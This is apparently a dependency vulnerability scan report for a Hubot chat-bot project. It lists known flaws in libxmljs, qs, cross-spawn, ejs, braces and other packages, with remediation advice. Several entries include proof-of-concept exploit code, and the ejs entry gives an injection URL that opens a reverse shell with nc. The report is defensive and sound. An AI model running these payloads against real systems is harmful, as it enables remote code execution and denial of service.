Vulnerabilities

117 via 205 paths

Dependencies

801

Source

GitHub

Commit

1b70ae35

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 117
  • 2
Severity
  • 10
  • 51
  • 48
  • 10
Status
  • 118
  • 1
  • 0

critical severity

Command Injection

  • Vulnerable module: growl
  • Introduced through: mocha@3.5.3

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 mocha@3.5.3 growl@1.9.2
    Remediation: Upgrade to mocha@4.0.0.

Overview

growl is a package adding Growl support for Nodejs.

Affected versions of this package are vulnerable to Command Injection due to unsafe use of the eval() function. Node.js provides the eval() function by default, and is used to translate strings into Javascript code. An attacker can craft a malicious payload to inject arbitrary commands.

Remediation

Upgrade growl to version 1.10.0 or higher.

References

critical severity

Out-of-Bounds

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-Bounds. Buffer overflow in libxml2 allows remote attackers to execute arbitrary code by leveraging an incorrect limit for port values when handling redirects.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

critical severity

Out-of-Bounds

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-Bounds parser.c in libxml2 before 2.9.5 mishandles parameter-entity references because the NEXTL macro calls the xmlParserHandlePEReference function in the case of a '%' character in a DTD name.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

critical severity

Out-of-Bounds

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-Bounds xpointer.c in libxml2 before 2.9.5 (as used in Apple iOS before 10, OS X before 10.12, tvOS before 10, and watchOS before 3, and other products) does not forbid namespace nodes in XPointer ranges, which allows remote attackers to execute arbitrary code or cause a denial of service (use-after-free and memory corruption) via a crafted XML document.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

critical severity

Remote Code Execution (RCE)

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Remote Code Execution (RCE) when parsing a specially crafted XML while invoking a function on the result of attrs() that was called on a parsed node. An attacker can cause denial of service, data leak, infinite loop, and execute arbitrary code on 32-bit systems with the XML_PARSE_HUGE flag enabled by submitting a malicious XML document.

PoC


const libxmljs = require('libxmljs');

var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer "` +
 'A'.repeat(0x1234) +
`">
]>
<from>&writer;</from>
`;

t = libxmljs.parseXml(d, {flags: [libxmljs.XMLParseFlags.XML_PARSE_HUGE]})
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0]
c2_attrs = c2.attrs()

Remediation

There is no fixed version for libxmljs.

References

critical severity

Type Confusion

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Type Confusion when parsing a specially crafted XML while invoking the namespaces() function, which invokes _wrap__xmlNode_nsDef_get() function on a grand-child of a node that refers to an entity. An attacker can cause a denial of service or execute arbitrary code by parsing a specially crafted XML document.

PoC


const libxmljs = require('libxmljs');

var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer PUBLIC "` + "A".repeat(8) + "B".repeat(8) + "C".repeat(8) + "D".repeat(8) + "P".repeat(8) + `" "JFrog Security">
]>
<from>&writer;</from>
`;

t = libxmljs.parseXml(d)
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0] //entity_decl
n = c2.namespaces(true) //onlyLocal = true

Remediation

There is no fixed version for libxmljs.

References

critical severity

Use of Externally-Controlled Format String

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Use of Externally-Controlled Format String. Format string vulnerability in libxml2 before 2.9.4 allows attackers to have unspecified impact via format string specifiers in unknown vectors.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

critical severity

XML External Entity (XXE) Injection

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. A flaw in libxml2 allows remote XML entity inclusion with default parser flags (i.e., when the caller did not request entity substitution, DTD validation, external DTD subset loading, or default DTD attributes). Depending on the context, this may expose a higher-risk attack surface in libxml2 not usually reachable with default parser flags, and expose content from local files, HTTP, or FTP servers (which might be otherwise unreachable).

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

critical severity

Predictable Value Range from Previous Values

  • Vulnerable module: form-data
  • Introduced through: scraper@github:gargsms/node-scraper, jsdom@9.12.0 and others

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 scraper@github:gargsms/node-scraper request@2.88.2 form-data@2.3.3
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 jsdom@9.12.0 request@2.88.2 form-data@2.3.3
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-github-contribution-stats@0.6.0 gyazo-api@0.3.1 request@2.88.2 form-data@2.3.3
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-howdoi@1.0.2 scraper@github:gargsms/node-scraper request@2.88.2 form-data@2.3.3
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-github-contribution-stats@0.6.0 svg2png@3.0.1 phantomjs-prebuilt@2.1.16 request@2.88.2 form-data@2.3.3
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-github-contribution-stats@0.6.0 github-contribution-stats@0.3.0 cheerio@0.20.0 jsdom@7.2.2 request@2.88.2 form-data@2.3.3
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 tap@12.7.0 coveralls@3.1.1 request@2.88.2 form-data@2.3.3

Overview

Affected versions of this package are vulnerable to Predictable Value Range from Previous Values via the boundary value, which uses Math.random(). An attacker can manipulate HTTP request boundaries by exploiting predictable values, potentially leading to HTTP parameter pollution.

Remediation

Upgrade form-data to version 2.5.4, 3.0.4, 4.0.4 or higher.

References

critical severity

Out-of-bounds Read

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-bounds Read. The htmlParseTryOrFinish function in HTMLparser.c in libxml2 2.9.4 allows attackers to cause a denial of service (buffer over-read) or information disclosure.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Double Free

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Double Free and other issues in the xmlDictComputeFastKey() function, which behaves nondeterministically on empty string inputs.

Remediation

There is no fixed version for libxmljs.

References

high severity

Expired Pointer Dereference

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Expired Pointer Dereference via 'xmlSchematronGetNode()` function in Schematron validator. An attacker can cause a crash or execute arbitrary code by triggering use of freed memory.

Remediation

There is no fixed version for libxmljs.

References

high severity

Out-of-bounds Write

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-bounds Write. An integer overflow in xmlmemory.c in libxml2 before 2.9.5, as used in Google Chrome prior to 62.0.3202.62 and other products, allowed a remote attacker to potentially exploit heap corruption via a crafted XML file.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Use After Free. Use-after-free vulnerability in libxml2 through 2.9.4, as used in Google Chrome before 52.0.2743.82, allows remote attackers to cause a denial of service or possibly have unspecified other impact via vectors related to the XPointer range-to function.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Use After Free. Use after free in libxml2 before 2.9.5, as used in Google Chrome prior to 63.0.3239.84 and other products, allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Use After Free. There's a flaw in libxml2 in versions before 2.9.11. An attacker who is able to submit a crafted file to be processed by an application linked with libxml2 could trigger a use-after-free. The greatest impact from this flaw is to confidentiality, integrity, and availability.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: cross-spawn
  • Introduced through: soupselect@0.2.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 tap@12.7.0 foreground-child@1.5.6 cross-spawn@4.0.2
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 tap@12.7.0 nyc@14.1.1 foreground-child@1.5.6 cross-spawn@4.0.2
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 tap@12.7.0 nyc@14.1.1 spawn-wrap@1.4.3 foreground-child@1.5.6 cross-spawn@4.0.2

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

PoC

const { argument } = require('cross-spawn/lib/util/escape');
var str = "";
for (var i = 0; i < 1000000; i++) {
  str += "\\";
}
str += "◎";

console.log("start")
argument(str)
console.log("end")

// run `npm install cross-spawn` and `node attack.js` 
// then the program will stuck forever with high CPU usage

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade cross-spawn to version 6.0.6, 7.0.5 or higher.

References

high severity

Expired Pointer Dereference

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Expired Pointer Dereference due to a null pointer dereference while processing XPath XML expressions. An attacker can cause a crash and disrupt service availability by sending specially crafted input that triggers the dereference.

Remediation

There is no fixed version for libxmljs.

References

high severity
new

NULL Pointer Dereference

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to NULL Pointer Dereference in the parsing process of specially crafted XML documents when accessing the _ref property on entity_ref and entity_decl nodes. An attacker can cause a segmentation fault and disrupt service availability by submitting malicious XML input.

Remediation

There is no fixed version for libxmljs.

References

high severity

Out-of-bounds Read

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-bounds Read due to improper namespace processing of sch:name elements in xmlSchematronFormatReport() function. An attacker can cause a denial of service or potentially execute arbitrary code by providing specially crafted XML input.

Remediation

There is no fixed version for libxmljs.

References

high severity

Stack-based Buffer Overflow

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Stack-based Buffer Overflow via the xmlBuildQName function. An attacker can cause a crash and denial of service by supplying specially crafted XML input that triggers an integer overflow and subsequent stack buffer overflow.

Remediation

There is no fixed version for libxmljs.

References

high severity

Use After Free

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Use After Free via the xmlXIncludeAddNode function in xinclude.c. An attacker can execute arbitrary code or cause a denial of service by manipulating the memory after it has been freed.

Remediation

There is no fixed version for libxmljs.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: qs
  • Introduced through: hubot@2.19.0, scraper@github:gargsms/node-scraper and others

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 connect-multiparty@1.2.5 qs@2.2.5
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 qs@4.0.0
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 body-parser@1.13.3 qs@4.0.0
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 scraper@github:gargsms/node-scraper request@2.88.2 qs@6.5.3
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 jsdom@9.12.0 request@2.88.2 qs@6.5.3
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-github-contribution-stats@0.6.0 gyazo-api@0.3.1 request@2.88.2 qs@6.5.3
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-howdoi@1.0.2 scraper@github:gargsms/node-scraper request@2.88.2 qs@6.5.3
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-github-contribution-stats@0.6.0 svg2png@3.0.1 phantomjs-prebuilt@2.1.16 request@2.88.2 qs@6.5.3
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot-github-contribution-stats@0.6.0 github-contribution-stats@0.3.0 cheerio@0.20.0 jsdom@7.2.2 request@2.88.2 qs@6.5.3
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 tap@12.7.0 coveralls@3.1.1 request@2.88.2 qs@6.5.3

Overview

qs is a querystring parser that supports nesting and arrays, with a depth limit.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via improper enforcement of the arrayLimit option in bracket notation parsing. An attacker can exhaust server memory and cause application unavailability by submitting a large number of bracket notation parameters - like a[]=1&a[]=2 - in a single HTTP request.

PoC


const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)

Remediation

Upgrade qs to version 6.14.1 or higher.

References

high severity

Uninitialized Memory Exposure

  • Vulnerable module: base64-url
  • Introduced through: hubot@2.19.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 express-session@1.11.3 uid-safe@2.0.0 base64-url@1.2.1

Overview

base64-url Base64 encode, decode, escape and unescape for URL applications.

Affected versions of this package are vulnerable to Uninitialized Memory Exposure. An attacker may extract sensitive data from uninitialized memory or may cause a DoS by passing in a large number, in setups where typed user input can be passed (e.g. from JSON).

Details

The Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.

const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10

The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream. When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed by using buf.fill(0), it may leak sensitive information like keys, source code, and system info.

Remediation

Upgrade base64-url to version 2.0.0 or higher. Note This is vulnerable only for Node <=4

References

high severity

Out-of-bounds Write

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-bounds Write. There is a flaw in the xml entity encoding functionality of libxml2 in versions before 2.9.11. An attacker who is able to supply a crafted file to be processed by an application linked with the affected functionality of libxml2 could trigger an out-of-bounds read. The most likely impact of this flaw is to application availability, with some potential impact to confidentiality and integrity if an attacker is able to use memory information to further exploit the application.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Asymmetric Resource Consumption (Amplification)

  • Vulnerable module: body-parser
  • Introduced through: hubot@2.19.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 body-parser@1.13.3

Overview

Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) via the extendedparser and urlencoded functions when the URL encoding process is enabled. An attacker can flood the server with a large number of specially crafted requests.

Remediation

Upgrade body-parser to version 1.20.3 or higher.

References

high severity

Remote Code Execution (RCE)

  • Vulnerable module: ejs
  • Introduced through: soupselect@0.2.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 soupselect@0.2.0 nodeunit@0.11.3 ejs@2.7.4

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options parameter of renderFile, which makes it possible to inject code into outputFunctionName.

Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.

PoC:

Creation of reverse shell:

http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

Remediation

Upgrade ejs to version 3.1.7 or higher.

References

high severity

Out-of-Bounds

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-Bounds. The xmlNextChar function in libxml2 before 2.9.4 allows remote attackers to cause a denial of service (heap-based buffer over-read) via a crafted XML document.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Use After Free

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Use After Free via the ID and IDREF attributes, when using the xmlReader interface with validation or when a document is parsed with XML_PARSE_DTDVALID and without XML_PARSE_NOENT. This can lead to the value of ID attributes to not be normalized after potentially expanding entities in xmlRemoveID, which will cause later calls to xmlGetID to return a pointer to previously freed memory.

Remediation

There is no fixed version for libxmljs.

References

high severity

Out-of-Bounds

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-Bounds. Heap-based buffer overflow in the xmlFAParsePosCharGroup function in libxml2 before 2.9.4, as used in Apple iOS before 9.3.2, OS X before 10.11.5, tvOS before 9.2.1, and watchOS before 2.2.1, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted XML document.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Out-of-Bounds

  • Vulnerable module: libxmljs
  • Introduced through: libxmljs@0.18.8

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 libxmljs@0.18.8
    Remediation: Upgrade to libxmljs@1.0.0.

Overview

libxmljs is a libxml bindings for v8 javascript engine

Affected versions of this package are vulnerable to Out-of-Bounds. Heap-based buffer overflow in the xmlStrncat function in libxml2 before 2.9.4, as used in Apple iOS before 9.3.2, OS X before 10.11.5, tvOS before 9.2.1, and watchOS before 2.2.1, allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted XML document.

Remediation

Upgrade libxmljs to version 1.0.0 or higher.

References

high severity

Excessive Platform Resource Consumption within a Loop

  • Vulnerable module: braces
  • Introduced through: matchdep@1.0.1

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 matchdep@1.0.1 micromatch@2.3.11 braces@1.8.5

Overview

braces is a Bash-like brace expansion, implemented in JavaScript.

Affected versions of this package are vulnerable to Excessive Platform Resource Consumption within a Loop due improper limitation of the number of characters it can handle, through the parse function. An attacker can cause the application to allocate excessive memory and potentially crash by sending imbalanced braces as input.

PoC

const { braces } = require('micromatch');

console.log("Executing payloads...");

const maxRepeats = 10;

for (let repeats = 1; repeats <= maxRepeats; repeats += 1) {
  const payload = '{'.repeat(repeats*90000);

  console.log(`Testing with ${repeats} repeats...`);
  const startTime = Date.now();
  braces(payload);
  const endTime = Date.now();
  const executionTime = endTime - startTime;
  console.log(`Regex executed in ${executionTime / 1000}s.\n`);
} 

Remediation

Upgrade braces to version 3.0.3 or higher.

References

high severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: fresh
  • Introduced through: hubot@2.19.0

Detailed paths

  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 fresh@0.3.0
    Remediation: Upgrade to hubot@3.1.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 fresh@0.3.0
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 send@0.13.0 fresh@0.3.0
    Remediation: Upgrade to hubot@3.1.0.
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 serve-favicon@2.3.2 fresh@0.3.0
  • Introduced through: DMPBot@hashashin/dmpbot#1b70ae358122e013c619023e8fc9e1c10f749143 hubot@2.19.0 express@3.21.2 connect@2.30.2 serve-static@1.10.3 send@0.13.2 fresh@0.3.0

Overview

fresh is HTTP response freshness testing.

Affected versions of this package are vulnerable to Regular expression Denial of Service (ReDoS) attacks. A Regular Expression (/ *, */) was used for parsing HTTP headers and take about 2 seconds matching time for 50k characters.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
